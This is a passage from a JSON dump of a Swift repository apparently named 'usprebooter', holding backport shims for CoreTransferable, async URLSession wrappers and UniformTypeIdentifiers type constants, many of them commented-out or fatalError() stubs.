    "content": "import Foundation\n\nextension Never: BackportTransferRepresentation {\n    /// The type of the item that's being transferred.\n    public typealias Item = Never\n\n    /// A builder expression that describes the process of importing and exporting an item.\n    ///\n    /// Combine multiple existing transfer representations\n    /// to compose a single transfer representation that describes\n    /// how to transfer an item in multiple scenarios.\n    ///\n    ///     struct CombinedRepresentation: BackportTransferRepresentation {\n    ///        var body: some BackportTransferRepresentation {\n    ///            Backport.DataRepresentation(...)\n    ///            Backport.FileRepresentation(...)\n    ///        }\n    ///     }\n    ///\n    public var body: Never { fatalError() }\n}\n"
  },
  {
    "path": "usprebooter/External/SwiftBackports/CoreTransferable/Representations/Tuple+Representation.swift",
    "content": "//import Foundation\n//\n//@available(iOS, deprecated: 16)\n//@available(tvOS, deprecated: 16)\n//@available(macOS, deprecated: 13)\n//@available(watchOS, deprecated: 9)\n//public extension Backport<Any> {\n//    /// A wrapper type for tuples that contain transfer representations.\n//    struct TupleTransferRepresentation<Item, Value>: BackportTransferRepresentation where Item: BackportTransferable, Value: Sendable {\n//        /// A builder expression that describes the process of importing and exporting an item.\n//        ///\n//        /// Combine multiple existing transfer representations\n//        /// to compose a single transfer representation that describes\n//        /// how to transfer an item in multiple scenarios.\n//        ///\n//        ///     struct CombinedRepresentation: BackportTransferRepresentation {\n//        ///        var body: some BackportTransferRepresentation {\n//        ///            Backport.DataRepresentation(...)\n//        ///            Backport.FileRepresentation(...)\n//        ///        }\n//        ///     }\n//        ///\n//        public var body: some BackportTransferRepresentation {\n//            fatalError()\n//        }\n//    }\n//}\n"
  },
  {
    "path": "usprebooter/External/SwiftBackports/CoreTransferable/Representations/_ConditionalRepresentation.swift",
    "content": "//import Foundation\n//\n//public extension Backport<Any> {\n//    struct _ConditionalTransferRepresentation<Representation: BackportTransferRepresentation>: BackportTransferRepresentation {\n//        let condition: @Sendable (Item) -> Bool\n//        public var body: some BackportTransferRepresentation {\n//            fatalError()\n//        }\n//    }\n//}\n"
  },
  {
    "path": "usprebooter/External/SwiftBackports/CoreTransferable/Support/NSItemProvider+Transferable.swift",
    "content": "//import Foundation\n//\n//extension NSItemProvider {\n//    /// Registers every transfer representation of given item with the receiver.\n//    /// - Parameter transferable: The item to register.\n//    public func register<T>(_ transferable: @autoclosure @escaping @Sendable () -> T) where T: BackportTransferable {\n//        fatalError()\n//    }\n//\n//    public func loadTransferable<T>(type transferableType: T.Type, completionHandler: @escaping @Sendable (Result<T, Error>) -> Void) -> Progress where T: BackportTransferable {\n//        .init()\n//    }\n//}\n"
  },
  {
    "path": "usprebooter/External/SwiftBackports/CoreTransferable/Support/ReceivedTransferredFile.swift",
    "content": "import Foundation\n\n@available(iOS, deprecated: 16)\n@available(tvOS, deprecated: 16)\n@available(macOS, deprecated: 13)\n@available(watchOS, deprecated: 9)\npublic extension Backport<Any> {\n    struct ReceivedTransferredFile : Sendable {\n\n        /// The received file on disk.\n        public let file: URL\n\n        /// A Boolean value that indicates whether the file's URL\n        /// points to the original file provided by the sender\n        /// or to a copy.\n        public let isOriginalFile: Bool\n    }\n}\n"
  },
  {
    "path": "usprebooter/External/SwiftBackports/CoreTransferable/Support/SentTransferredFile.swift",
    "content": "import Foundation\n\n@available(iOS, deprecated: 16)\n@available(tvOS, deprecated: 16)\n@available(macOS, deprecated: 13)\n@available(watchOS, deprecated: 9)\npublic extension Backport<Any> {\n    struct SentTransferredFile: Sendable {\n\n        /// A URL that describes the location of the file.\n        public let file: URL\n\n        /// A Boolean value that indicates whether\n        /// the receiver can read and write the original file.\n        /// When set to `false`, the receiver can only gain access to a copy of the file.\n        public let allowAccessingOriginalFile: Bool\n\n        /// Creates a description of a file from the perspective of the sender.\n        ///\n        /// - Parameters:\n        ///   - file: A URL that describes the location of the file.\n        ///   - allowAccessingOriginalFile: A Boolean value that indicates whether\n        /// the receiver can read and write the original file.\n        /// When set to `false`, the receiver can only gain access to a copy of the file.\n        public init(_ file: URL, allowAccessingOriginalFile: Bool = false) {\n            self.file = file\n            self.allowAccessingOriginalFile = allowAccessingOriginalFile\n        }\n    }\n}\n"
  },
  {
    "path": "usprebooter/External/SwiftBackports/CoreTransferable/Support/Visibility.swift",
    "content": "import Foundation\n\n@available(iOS, deprecated: 16)\n@available(tvOS, deprecated: 16)\n@available(macOS, deprecated: 13)\n@available(watchOS, deprecated: 9)\nextension Backport<Any> {\n    /// The visibility levels that specify the kinds of apps and processes\n    /// that can see an item in transit.\n    public struct TransferRepresentationVisibility: Sendable, Equatable {\n        enum Visibility {\n            @available(iOS, unavailable)\n            @available(tvOS, unavailable)\n            @available(watchOS, unavailable)\n            case group\n            case ownProcess\n            case all\n        }\n\n        let visibility: Visibility\n\n        /// The visibility level that specifies that any app or process can access the item.\n        public static let all: Self = .init(visibility: .all)\n\n        /// The visibility level that specifies that the item is visible only\n        /// to macOS apps in the same App Group.\n        @available(iOS, unavailable)\n        @available(tvOS, unavailable)\n        @available(watchOS, unavailable)\n        public static let group: Self = .init(visibility: .group)\n\n        /// The visibility level that specifies that the item is visible only\n        /// within the app that's the source of the item.\n        public static let ownProcess: Self = .init(visibility: .ownProcess)\n    }\n}\n"
  },
  {
    "path": "usprebooter/External/SwiftBackports/CoreTransferable/TransferRepresentationBuilder.swift",
    "content": "import Foundation\nimport Combine\n\n@available(iOS, deprecated: 16)\n@available(tvOS, deprecated: 16)\n@available(macOS, deprecated: 13)\n@available(watchOS, deprecated: 9)\npublic extension Backport<Any> {\n    /// Creates a transfer representation by composing existing transfer representations.\n    @resultBuilder\n    struct TransferRepresentationBuilder<Item> where Item: BackportTransferable {\n//        /// Builds an encodable and decodable transfer representation from an expression.\n//        public static func buildExpression<Encoder, Decoder>(_ content: Backport.CodableRepresentation<Item, Encoder, Decoder>) -> Backport.CodableRepresentation<Item, Encoder, Decoder> where Item: Decodable, Item: Encodable, Encoder: TopLevelEncoder, Decoder: TopLevelDecoder, Encoder.Output == Data, Decoder.Input == Data {\n//            Backport.CodableRepresentation(for: Item.self, contentType: Item)\n//        }\n//\n//        /// Builds a transfer representation from an expression.\n//        public static func buildExpression<R>(_ content: R) -> R where Item == R.Item, R: BackportTransferRepresentation {\n//            fatalError()\n//        }\n\n        /// Passes a single transfer representation to the builder unmodified.\n        public static func buildBlock<Content>(_ content: Content) -> Content where Item == Content.Item, Content: BackportTransferRepresentation {\n            fatalError()\n        }\n\n//        /// Combines multiple transfer representations into a single transfer representation.\n//        public static func buildBlock<C1, C2>(_ content1: C1, _ content2: C2) -> Backport.TupleTransferRepresentation<Item, (C1, C2)> where Item == C1.Item, C1: BackportTransferRepresentation, C2: BackportTransferRepresentation, C1.Item == C2.Item {\n//            fatalError()\n//        }\n//\n//        /// Combines multiple transfer representations into a single transfer representation.\n//        public static func buildBlock<C1, C2, C3>(_ content1: C1, _ content2: C2, _ content3: C3) -> Backport.TupleTransferRepresentation<Item, (C1, C2, C3)> where Item == C1.Item, C1: BackportTransferRepresentation, C2: BackportTransferRepresentation, C3: BackportTransferRepresentation, C1.Item == C2.Item, C2.Item == C3.Item {\n//            fatalError()\n//        }\n//\n//        /// Combines multiple transfer representations into a single transfer representation.\n//        public static func buildBlock<C1, C2, C3, C4>(_ content1: C1, _ content2: C2, _ content3: C3, _ content4: C4) -> Backport.TupleTransferRepresentation<Item, (C1, C2, C3, C4)> where Item == C1.Item, C1: BackportTransferRepresentation, C2: BackportTransferRepresentation, C3: BackportTransferRepresentation, C4: BackportTransferRepresentation, C1.Item == C2.Item, C2.Item == C3.Item, C3.Item == C4.Item {\n//            fatalError()\n//        }\n//\n//        /// Combines multiple transfer representations into a single transfer representation.\n//        public static func buildBlock<C1, C2, C3, C4, C5>(_ content1: C1, _ content2: C2, _ content3: C3, _ content4: C4, _ content5: C5) -> Backport.TupleTransferRepresentation<Item, (C1, C2, C3, C4, C5)> where Item == C1.Item, C1: BackportTransferRepresentation, C2: BackportTransferRepresentation, C3: BackportTransferRepresentation, C4: BackportTransferRepresentation, C5: BackportTransferRepresentation, C1.Item == C2.Item, C2.Item == C3.Item, C3.Item == C4.Item, C4.Item == C5.Item {\n//            fatalError()\n//        }\n//\n//        /// Combines multiple transfer representations into a single transfer representation.\n//        public static func buildBlock<C1, C2, C3, C4, C5, C6>(_ content1: C1, _ content2: C2, _ content3: C3, _ content4: C4, _ content5: C5, _ content6: C6) -> Backport.TupleTransferRepresentation<Item, (C1, C2, C3, C4, C5, C6)> where Item == C1.Item, C1: BackportTransferRepresentation, C2: BackportTransferRepresentation, C3: BackportTransferRepresentation, C4: BackportTransferRepresentation, C5: BackportTransferRepresentation, C6: BackportTransferRepresentation, C1.Item == C2.Item, C2.Item == C3.Item, C3.Item == C4.Item, C4.Item == C5.Item, C5.Item == C6.Item {\n//            fatalError()\n//        }\n//\n//        /// Combines multiple transfer representations into a single transfer representation.\n//        public static func buildBlock<C1, C2, C3, C4, C5, C6, C7>(_ content1: C1, _ content2: C2, _ content3: C3, _ content4: C4, _ content5: C5, _ content6: C6, _ content7: C7) -> Backport.TupleTransferRepresentation<Item, (C1, C2, C3, C4, C5, C6, C7)> where Item == C1.Item, C1: BackportTransferRepresentation, C2: BackportTransferRepresentation, C3: BackportTransferRepresentation, C4: BackportTransferRepresentation, C5: BackportTransferRepresentation, C6: BackportTransferRepresentation, C7: BackportTransferRepresentation, C1.Item == C2.Item, C2.Item == C3.Item, C3.Item == C4.Item, C4.Item == C5.Item, C5.Item == C6.Item, C6.Item == C7.Item {\n//            fatalError()\n//        }\n//\n//        /// Combines multiple transfer representations into a single transfer representation.\n//        public static func buildBlock<C1, C2, C3, C4, C5, C6, C7, C8>(_ content1: C1, _ content2: C2, _ content3: C3, _ content4: C4, _ content5: C5, _ content6: C6, _ content7: C7, _ content8: C8) -> Backport.TupleTransferRepresentation<Item, (C1, C2, C3, C4, C5, C6, C7, C8)> where Item == C1.Item, C1: BackportTransferRepresentation, C2: BackportTransferRepresentation, C3: BackportTransferRepresentation, C4: BackportTransferRepresentation, C5: BackportTransferRepresentation, C6: BackportTransferRepresentation, C7: BackportTransferRepresentation, C8: BackportTransferRepresentation, C1.Item == C2.Item, C2.Item == C3.Item, C3.Item == C4.Item, C4.Item == C5.Item, C5.Item == C6.Item, C6.Item == C7.Item, C7.Item == C8.Item {\n//            fatalError()\n//        }\n//\n//        /// Combines multiple transfer representations into a single transfer representation.\n//        public static func buildBlock<C1, C2, C3, C4, C5, C6, C7, C8, C9>(_ content1: C1, _ content2: C2, _ content3: C3, _ content4: C4, _ content5: C5, _ content6: C6, _ content7: C7, _ content8: C8, _ content9: C9) -> Backport.TupleTransferRepresentation<Item, (C1, C2, C3, C4, C5, C6, C7, C8, C9)> where Item == C1.Item, C1: BackportTransferRepresentation, C2: BackportTransferRepresentation, C3: BackportTransferRepresentation, C4: BackportTransferRepresentation, C5: BackportTransferRepresentation, C6: BackportTransferRepresentation, C7: BackportTransferRepresentation, C8: BackportTransferRepresentation, C9: BackportTransferRepresentation, C1.Item == C2.Item, C2.Item == C3.Item, C3.Item == C4.Item, C4.Item == C5.Item, C5.Item == C6.Item, C6.Item == C7.Item, C7.Item == C8.Item, C8.Item == C9.Item {\n//            fatalError()\n//        }\n//\n//        /// Combines multiple transfer representations into a single transfer representation.\n//        public static func buildBlock<C1, C2, C3, C4, C5, C6, C7, C8, C9, C10>(_ content1: C1, _ content2: C2, _ content3: C3, _ content4: C4, _ content5: C5, _ content6: C6, _ content7: C7, _ content8: C8, _ content9: C9, _ content10: C10) -> Backport.TupleTransferRepresentation<Item, (C1, C2, C3, C4, C5, C6, C7, C8, C9, C10)> where Item == C1.Item, C1: BackportTransferRepresentation, C2: BackportTransferRepresentation, C3: BackportTransferRepresentation, C4: BackportTransferRepresentation, C5: BackportTransferRepresentation, C6: BackportTransferRepresentation, C7: BackportTransferRepresentation, C8: BackportTransferRepresentation, C9: BackportTransferRepresentation, C10: BackportTransferRepresentation, C1.Item == C2.Item, C2.Item == C3.Item, C3.Item == C4.Item, C4.Item == C5.Item, C5.Item == C6.Item, C6.Item == C7.Item, C7.Item == C8.Item, C8.Item == C9.Item, C9.Item == C10.Item {\n//            fatalError()\n//        }\n    }\n}\n"
  },
  {
    "path": "usprebooter/External/SwiftBackports/CoreTransferable/Transferable.swift",
    "content": "import Foundation\n\n/// A protocol that describes how a type interacts with transport APIs\n/// such as drag and drop or copy and paste.\n///\n/// To conform to the `BackportTransferable` protocol,\n/// implement the ``transferRepresentation`` property.\n/// For example, an image editing app's layer type might\n/// conform to `BackportTransferable` to let people drag and drop image layers\n/// to reorder them within a document.\n///\n///     struct ImageDocumentLayer {\n///         init(data: Data)\n///         func data() -> Data\n///         func pngData() -> Data\n///     }\n///\n/// The following shows how you can extend `ImageDocumentLayer`  to\n/// conform to `BackportTransferable`:\n///\n///     extension ImageDocumentLayer: BackportTransferable {\n///         static var transferRepresentation: some BackportTransferRepresentation {\n///             Backport.DataRepresentation(contentType: .layer) { layer in\n///                     layer.data()\n///                 }, importing: { data in\n///                     try Layer(data: data)\n///                 }\n///             Backport.DataRepresentation(exportedContentType: .png) { layer in\n///                 layer.pngData()\n///         }\n///     }\n///\n/// When people drag and drop a layer within the app or onto another app\n/// that recognizes the custom `layer` content type,\n/// the app uses the first representation.\n/// When people drag and drop the layer onto a different image editor,\n/// it's likely that the editor recognizes the PNG file type.\n/// The second transfer representation adds support for PNG files.\n///\n/// The following declares the custom `layer` uniform type identifier:\n///\n///     extension Backport.UTType {\n///         static var layer: Backport.UTType { Backport.UTType(exportedAs: \"com.example.layer\") }\n///     }\n///\n/// > Important: If your app declares custom uniform type identifiers,\n/// include corresponding entries in the app's `Info.plist`.\n///\n/// If one of your existing types conforms to `Codable`,\n/// `BackportTransferable` automatically handles conversion to and from `Data`.\n/// The following declares a simple `Note` structure that's `Codable`\n/// and an extension to make it `BackportTransferable`:\n///\n///     struct Note: Codable {\n///         let title: String\n///         let body: String\n///     }\n///\n///     extension Note: BackportTransferable {\n///         static var transferRepresentation: some BackportTransferRepresentation {\n///             Backport.CodableRepresentation(contentType: .note)\n///         }\n///     }\n///\n/// To ensure compatibility with other apps that don't know about\n/// the custom `note` type identifier,\n/// the following adds an additional transfer representation\n/// that converts the note to text.\n///\n///     extension Note: BackportTransferable {\n///         static var transferRepresentation: some BackportTransferRepresentation {\n///             Backport.CodableRepresentation(contentType: .note)\n///             Backport.ProxyRepresentation(\\.title)\n///         }\n///     }\n/// The order of the representations in the transfer representation matters;\n/// place the representation that most accurately represents your type first,\n/// followed by a sequence of more compatible\n/// but less preferable representations.\n///\n@available(iOS, deprecated: 16)\n@available(tvOS, deprecated: 16)\n@available(macOS, deprecated: 13)\n@available(watchOS, deprecated: 9)\npublic protocol BackportTransferable {\n\n    /// The type of the representation used to import and export the item.\n    ///\n    /// Swift infers this type from the return value of the\n    /// ``transferRepresentation`` property.\n    associatedtype Representation: BackportTransferRepresentation\n\n    /// The representation used to import and export the item.\n    ///\n    /// A ``transferRepresentation`` can contain multiple representations\n    /// for different content types.\n    @Backport<Any>.TransferRepresentationBuilder<Self> static var transferRepresentation: Representation { get }\n}\n"
  },
  {
    "path": "usprebooter/External/SwiftBackports/CoreTransferable/TransferableRepresentation.swift",
    "content": "import Foundation\n\n/// A declarative description of the process of importing and exporting a transferable item.\n///\n/// Combine multiple existing transfer representations\n/// to compose a single transfer representation that describes\n/// how to transfer an item in multiple scenarios.\n///\n/// The following shows a `Greeting` type that transfers both as a `Codable` type\n/// and by proxy through its `message` string.\n///\n///     import UniformTypeIdentifiers\n///\n///     struct Greeting: Codable, BackportTransferable {\n///         let message: String\n///         var displayInAllCaps: Bool = false\n///\n///         static var transferRepresentation: some BackportTransferRepresentation {\n///             Backport.CodableRepresentation(contentType: .greeting)\n///             Backport.ProxyRepresentation(exporting: \\.message)\n///         }\n///     }\n///\n///     extension Backport.UTType {\n///         static var greeting: Backport.UTType { .init(exportedAs: \"com.example.greeting\") }\n///     }\n///\n@available(iOS, deprecated: 16)\n@available(tvOS, deprecated: 16)\n@available(macOS, deprecated: 13)\n@available(watchOS, deprecated: 9)\npublic protocol BackportTransferRepresentation<Item>: Sendable {\n    /// The type of the item that's being transferred.\n    associatedtype Item: BackportTransferable\n\n    /// The transfer representation for the item.\n    associatedtype Body: BackportTransferRepresentation\n\n    /// A builder expression that describes the process of importing and exporting an item.\n    ///\n    /// Combine multiple existing transfer representations\n    /// to compose a single transfer representation that describes\n    /// how to transfer an item in multiple scenarios.\n    ///\n    ///     struct CombinedRepresentation: BackportTransferRepresentation {\n    ///        var body: some BackportTransferRepresentation {\n    ///            Backport.DataRepresentation(...)\n    ///            Backport.FileRepresentation(...)\n    ///        }\n    ///     }\n    ///\n    @Backport<Any>.TransferRepresentationBuilder<Item> var body: Body { get }\n}\n\n//extension BackportTransferRepresentation {\n//    /// Specifies the kinds of apps and processes that can see an item in transit.\n//    ///\n//    /// - Parameters:\n//    ///   - visibility: The visibility level.\n//    public func visibility(_ visibility: Backport<Any>.TransferRepresentationVisibility) -> some BackportTransferRepresentation {\n//        fatalError()\n//    }\n//}\n//\n//extension BackportTransferRepresentation {\n//\n//    /// Prevents the system from exporting an item if it does not meet the supplied condition.\n//    ///\n//    /// Some instances of a model type may have state-dependent conditions that make them\n//    /// unsuitable for export. For example, an `Archive` structure that supports\n//    /// a comma-separated text representation only when it has compatible content:\n//    ///\n//    ///     struct Archive {\n//    ///         var supportsCSV: Bool\n//    ///         func csvData() -> Data\n//    ///         init(csvData: Data)\n//    ///     }\n//    ///\n//    ///     extension Archive: BackportTransferable {\n//    ///         static var transferRepresentation: some BackportTransferRepresentation {\n//    ///             Backport.DataRepresentation(contentType: .commaSeparatedText) { archive in\n//    ///                 archive.csvData()\n//    ///             } importing: { data in Archive(csvData: data) }\n//    ///                 .exportingCondition { archive in archive.supportsCSV }\n//    ///         }\n//    ///     }\n//    ///\n//    /// - Parameters:\n//    ///   - condition: A closure that determines whether the item is exportable.\n//    public func exportingCondition(_ condition: @escaping @Sendable (Item) -> Bool) -> Backport<Any>._ConditionalTransferRepresentation<Self> {\n//        Backport<Any>._ConditionalTransferRepresentation<Self>(condition: condition)\n//    }\n//}\n//\n//extension BackportTransferRepresentation {\n//    /// Provides a filename to use if the receiver chooses to write the item to disk.\n//    ///\n//    /// Any transfer representation can be written to disk.\n//    ///\n//    ///      extension ImageDocumentLayer: BackportTransferable {\n//    ///          static var transferRepresentation: some BackportTransferRepresentation {\n//    ///              Backport.DataRepresentation(contentType: .layer) { layer in\n//    ///                  layer.data()\n//    ///                  } importing: { data in\n//    ///                      try ImageDocumentLayer(data: data)\n//    ///                  }\n//    ///                  .suggestedFileName(\"Layer.exampleLayer\")\n//    ///              Backport.DataRepresentation(exportedContentType: .png) { layer in\n//    ///                  layer.pngData()\n//    ///              }\n//    ///              .suggestedFileName(\"Layer.png\")\n//    ///          }\n//    ///      }\n//    ///\n//    /// The .exampleLayer filename extension above should match\n//    /// the extension for the `layer` content type,\n//    /// which you declare in your app's `Info.plist` file.\n//    ///\n//    /// - Parameters:\n//    ///   - fileName: The suggested filename including the filename extension.\n//    public func suggestedFileName(_ fileName: String) -> some BackportTransferRepresentation {\n//        fatalError()\n//    }\n//}\n"
  },
  {
    "path": "usprebooter/External/SwiftBackports/CoreTransferable/Transferables/AttributedString+Transferable.swift",
    "content": "//import Foundation\n//\n//@available(iOS, introduced: 15, deprecated: 16)\n//@available(tvOS, introduced: 15, deprecated: 16)\n//@available(macOS, introduced: 12, deprecated: 13)\n//@available(watchOS, introduced: 8, deprecated: 9)\n//extension AttributedString: BackportTransferable {\n//    /// The type of the representation used to import and export the item.\n//    ///\n//    /// Swift infers this type from the return value of the\n//    /// ``transferRepresentation`` property.\n//    public typealias Representation = some BackportTransferRepresentation\n//\n//    /// The representation used to import and export the item.\n//    ///\n//    /// A ``transferRepresentation`` can contain multiple representations\n//    /// for different content types.\n//    public static var transferRepresentation: Representation {\n//        fatalError()\n//    }\n//}\n"
  },
  {
    "path": "usprebooter/External/SwiftBackports/CoreTransferable/Transferables/Data+Transferable.swift",
    "content": "//import Foundation\n//\n//@available(iOS, deprecated: 16)\n//@available(tvOS, deprecated: 16)\n//@available(macOS, deprecated: 13)\n//@available(watchOS, deprecated: 9)\n//extension Data: BackportTransferable, @unchecked Sendable {\n//\n//    /// The representation used to import and export the item.\n//    ///\n//    /// A ``transferRepresentation`` can contain multiple representations\n//    /// for different content types.\n//    public static var transferRepresentation: some BackportTransferRepresentation {\n//        fatalError()\n//    }\n//\n//    /// The type of the representation used to import and export the item.\n//    ///\n//    /// Swift infers this type from the return value of the\n//    /// ``transferRepresentation`` property.\n//    public typealias Representation = some BackportTransferRepresentation\n//}\n"
  },
  {
    "path": "usprebooter/External/SwiftBackports/CoreTransferable/Transferables/Never+Transferable.swift",
    "content": "import Foundation\n\n@available(iOS, deprecated: 16)\n@available(tvOS, deprecated: 16)\n@available(macOS, deprecated: 13)\n@available(watchOS, deprecated: 9)\nextension Never: BackportTransferable {\n    /// The representation used to import and export the item.\n    ///\n    /// A ``transferRepresentation`` can contain multiple representations\n    /// for different content types.\n    public static var transferRepresentation: Never { fatalError() }\n}\n"
  },
  {
    "path": "usprebooter/External/SwiftBackports/CoreTransferable/Transferables/String+Transferable.swift",
    "content": "//import Foundation\n//\n//@available(iOS, deprecated: 16)\n//@available(tvOS, deprecated: 16)\n//@available(macOS, deprecated: 13)\n//@available(watchOS, deprecated: 9)\n//extension String: BackportTransferable {\n//\n//    /// The representation used to import and export the item.\n//    ///\n//    /// A ``transferRepresentation`` can contain multiple representations\n//    /// for different content types.\n//    public static var transferRepresentation: some BackportTransferRepresentation {\n//        fatalError()\n//    }\n//\n//    /// The type of the representation used to import and export the item.\n//    ///\n//    /// Swift infers this type from the return value of the\n//    /// ``transferRepresentation`` property.\n//    public typealias Representation = some BackportTransferRepresentation\n//}\n"
  },
  {
    "path": "usprebooter/External/SwiftBackports/CoreTransferable/Transferables/URL+Transferable.swift",
    "content": "//import Foundation\n//\n//extension URL: BackportTransferable, @unchecked Sendable {\n//\n//    /// The representation used to import and export the item.\n//    ///\n//    /// A ``transferRepresentation`` can contain multiple representations\n//    /// for different content types.\n//    public static var transferRepresentation: some TransferRepresentation {\n//        fatalError()\n//    }\n//\n//    /// The type of the representation used to import and export the item.\n//    ///\n//    /// Swift infers this type from the return value of the\n//    /// ``transferRepresentation`` property.\n//    public typealias Representation = some TransferRepresentation\n//}\n"
  },
  {
    "path": "usprebooter/External/SwiftBackports/URLSession/URLSession+Async.swift",
    "content": "import Foundation\n\n@available(macOS, deprecated: 12.0)\n@available(iOS, introduced: 13, deprecated: 15.0)\n@available(tvOS, introduced: 13, deprecated: 15.0)\n@available(watchOS, introduced: 6, deprecated: 8.0)\npublic extension Backport where Wrapped: URLSession {\n\n    /// Start a data task with a URL using async/await.\n    /// - parameter url: The URL to send a request to.\n    /// - returns: A tuple containing the binary `Data` that was downloaded,\n    ///   as well as a `URLResponse` representing the server's response.\n    /// - throws: Any error encountered while performing the data task.\n    func data(from url: URL) async throws -> (Data, URLResponse) {\n        try await data(for: URLRequest(url: url))\n    }\n\n    /// Start a data task with a `URLRequest` using async/await.\n    /// - parameter request: The `URLRequest` that the data task should perform.\n    /// - returns: A tuple containing the binary `Data` that was downloaded,\n    ///   as well as a `URLResponse` representing the server's response.\n    /// - throws: Any error encountered while performing the data task.\n    func data(for request: URLRequest) async throws -> (Data, URLResponse) {\n        let sessionTask = URLSessionTaskActor()\n\n        return try await withTaskCancellationHandler {\n            try await withCheckedThrowingContinuation { continuation in\n                Task {\n                    await sessionTask.start(wrapped.dataTask(with: request) { data, response, error in\n                        guard let data = data, let response = response else {\n                            let error = error ?? URLError(.badServerResponse)\n                            continuation.resume(throwing: error)\n                            return\n                        }\n\n                        continuation.resume(returning: (data, response))\n                    })\n                }\n            }\n        } onCancel: {\n            Task { await sessionTask.cancel() }\n        }\n    }\n\n    func upload(for request: URLRequest, fromFile fileURL: URL) async throws -> (Data, URLResponse) {\n        let sessionTask = URLSessionTaskActor()\n        return try await withTaskCancellationHandler {\n            try await withCheckedThrowingContinuation { continuation in\n                Task {\n                    await sessionTask.start(wrapped.uploadTask(with: request, fromFile: fileURL) { data, response, error in\n                        guard let data = data, let response = response else {\n                            let error = error ?? URLError(.badServerResponse)\n                            return continuation.resume(throwing: error)\n                        }\n\n                        continuation.resume(returning: (data, response))\n                    })\n                }\n            }\n        } onCancel: {\n            Task { await sessionTask.cancel() }\n        }\n    }\n\n    func upload(for request: URLRequest, from bodyData: Data) async throws -> (Data, URLResponse) {\n        let sessionTask = URLSessionTaskActor()\n        return try await withTaskCancellationHandler {\n            try await withCheckedThrowingContinuation { continuation in\n                Task {\n                    await sessionTask.start(wrapped.uploadTask(with: request, from: bodyData) { data, response, error in\n                        guard let data = data, let response = response else {\n                            let error = error ?? URLError(.badServerResponse)\n                            return continuation.resume(throwing: error)\n                        }\n\n                        continuation.resume(returning: (data, response))\n                    })\n                }\n            }\n        } onCancel: {\n            Task { await sessionTask.cancel() }\n        }\n    }\n\n    func download(for request: URLRequest) async throws -> (URL, URLResponse) {\n        let sessionTask = URLSessionTaskActor()\n        return try await withTaskCancellationHandler {\n            try await withCheckedThrowingContinuation { continuation in\n                Task {\n                    await sessionTask.start(wrapped.downloadTask(with: request) { data, response, error in\n                        guard let data = data, let response = response else {\n                            let error = error ?? URLError(.badServerResponse)\n                            return continuation.resume(throwing: error)\n                        }\n\n                        continuation.resume(returning: (data, response))\n                    })\n                }\n            }\n        } onCancel: {\n            Task { await sessionTask.cancel() }\n        }\n    }\n\n    func download(from url: URL) async throws -> (URL, URLResponse) {\n        let sessionTask = URLSessionTaskActor()\n        return try await withTaskCancellationHandler {\n            try await withCheckedThrowingContinuation { continuation in\n                Task {\n                    await sessionTask.start(wrapped.downloadTask(with: url) { data, response, error in\n                        guard let data = data, let response = response else {\n                            let error = error ?? URLError(.badServerResponse)\n                            return continuation.resume(throwing: error)\n                        }\n\n                        continuation.resume(returning: (data, response))\n                    })\n                }\n            }\n        } onCancel: {\n            Task { await sessionTask.cancel() }\n        }\n    }\n\n    func download(resumeFrom resumeData: Data) async throws -> (URL, URLResponse) {\n        let sessionTask = URLSessionTaskActor()\n        return try await withTaskCancellationHandler {\n            try await withCheckedThrowingContinuation { continuation in\n                Task {\n                    await sessionTask.start(wrapped.downloadTask(withResumeData: resumeData) { data, response, error in\n                        guard let data = data, let response = response else {\n                            let error = error ?? URLError(.badServerResponse)\n                            return continuation.resume(throwing: error)\n                        }\n\n                        continuation.resume(returning: (data, response))\n                    })\n                }\n            }\n        } onCancel: {\n            Task { await sessionTask.cancel() }\n        }\n    }\n\n}\n\n@available(iOS 13, tvOS 13, watchOS 6, *)\nprivate actor URLSessionTaskActor {\n    weak var task: URLSessionTask?\n\n    func start(_ task: URLSessionTask) {\n        self.task = task\n        task.resume()\n    }\n\n    func cancel() {\n        task?.cancel()\n    }\n}\n"
  },
  {
    "path": "usprebooter/External/SwiftBackports/UniformTypeIdentifiers/CoreTypes.swift",
    "content": "import Foundation\nimport CoreServices\n\npublic extension Backport<Any>.UTType {\n    /**\n     A generic base type for most things (files, directories.)\n     \n     **UTI:** public.item\n     */\n    static var item: Self { .init(kUTTypeItem as String)! }\n    \n    /**\n     A base type for anything containing user-viewable document content\n     (documents, pasteboard data, and document packages.)\n     \n     Types describing files or packages must also conform to `UTType.data` or\n     `UTType.package` in order for the system to bind documents to them.\n     \n     **UTI:** public.content\n     */\n    static var content: Self { .init(kUTTypeContent as String)! }\n    \n    /**\n     A base type for content formats supporting mixed embedded content\n     (i.e., compound documents).\n     \n     **UTI:** public.composite-content\n     \n     **conforms to:** public.content\n     */\n    static var compositeContent: Self { .init(kUTTypeCompositeContent as String)! }\n    \n    /**\n     A data item mountable as a volume\n     \n     **UTI:** public.disk-image\n     */\n    static var diskImage: Self { .init(kUTTypeDiskImage as String)! }\n    \n    /**\n     A base type for any sort of simple byte stream, including files and\n     in-memory data.\n     \n     **UTI:** public.data\n     \n     **conforms to:** public.item\n     */\n    static var data: Self { .init(kUTTypeData as String)! }\n    \n    /**\n     A file system directory (includes packages _and_ folders.)\n     \n     **UTI:** public.directory\n     \n     **conforms to:** public.item\n     */\n    static var directory: Self { .init(kUTTypeDirectory as String)! }\n    \n    /**\n     Symbolic link and alias file types conform to this type.\n     \n     **UTI:** com.apple.resolvable\n     */\n    static var resolvable: Self { .init(kUTTypeResolvable as String)! }\n    \n    /**\n     A symbolic link.\n     \n     **UTI:** public.symlink\n     \n     **conforms to:** public.item, com.apple.resolvable\n     */\n    static var symbolicLink: Self { .init(kUTTypeSymLink as String)! }\n    \n    /**\n     An executable item.\n     \n     **UTI:** public.executable\n     \n     **conforms to:** public.item\n     */\n    static var executable: Self { .init(kUTTypeExecutable as String)! }\n    \n    /**\n     A volume mount point (resolvable, resolves to the root directory of a\n     volume.)\n     \n     **UTI:** com.apple.mount-point\n     \n     **conforms to:** public.item, com.apple.resolvable\n     */\n    static var mountPoint: Self { .init(kUTTypeMountPoint as String)! }\n    \n    /**\n     A fully-formed alias file.\n     \n     **UTI:** com.apple.alias-file\n     \n     **conforms to:** public.data, com.apple.resolvable\n     */\n    static var aliasFile: Self { .init(kUTTypeAliasFile as String)! }\n    \n    /**\n     A URL bookmark.\n     \n     **UTI:** com.apple.bookmark\n     \n     **conforms to:** public.data, com.apple.resolvable\n     */\n    static var urlBookmarkData: Self { .init(kUTTypeURLBookmarkData as String)! }\n    \n    /**\n     Any URL.\n     \n     **UTI:** public.url\n     \n     **conforms to:** public.data\n     */\n    static var url: Self { .init(kUTTypeURL as String)! }\n    \n    /**\n     A URL with the scheme `\"file:\"`.\n     \n     **UTI:** public.file-url\n     